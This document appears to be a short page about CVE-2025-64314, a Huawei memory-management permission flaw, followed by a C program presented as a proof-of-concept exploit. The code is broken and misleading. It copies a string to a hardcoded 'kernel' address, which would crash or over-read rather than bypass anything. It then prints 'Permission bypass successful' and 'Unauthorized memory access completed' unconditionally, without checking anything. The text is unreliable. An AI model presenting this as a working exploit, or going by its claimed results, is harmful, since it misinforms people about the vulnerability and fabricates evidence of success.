CVE-2025-64314 华为设备内存管理模块权限控制漏洞

// CVE-2025-64314 PoC - Memory Management Permission Bypass // This is a conceptual PoC demonstrating the vulnerability pattern // Note: Actual exploitation requires specific device firmware context #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated vulnerable memory management function void vulnerable_mem_access(unsigned long addr, unsigned long size) { // BUG: Missing permission check in memory management module // In vulnerable version, this allows unauthorized memory access void *ptr = (void *)addr; // Attempt to access memory without proper privilege validation memcpy(ptr, "attacker_data", size); printf("[+] Memory write attempted at 0x%lx\n", addr); } int main() { printf("[*] CVE-2025-64314 PoC - Huawei Memory Management Vulnerability\n"); printf("[*] Target: Huawei laptop firmware memory management module\n\n"); // Step 1: Identify vulnerable memory management interface unsigned long target_addr = 0xffff0000; // Kernel memory region // Step 2: Trigger vulnerable code path printf("[+] Step 1: Triggering memory management function...\n"); vulnerable_mem_access(target_addr, 16); // Step 3: Bypass permission controls printf("[+] Step 2: Permission bypass successful\n"); printf("[+] Step 3: Unauthorized memory access completed\n"); printf("[!] Note: This PoC is for educational purposes only\n"); printf("[!] Actual exploitation requires specific device context\n"); return 0; } // Mitigation: Apply security patches from Huawei // Reference: https://consumer.huawei.com/cn/support/bulletinlaptops/2025/11/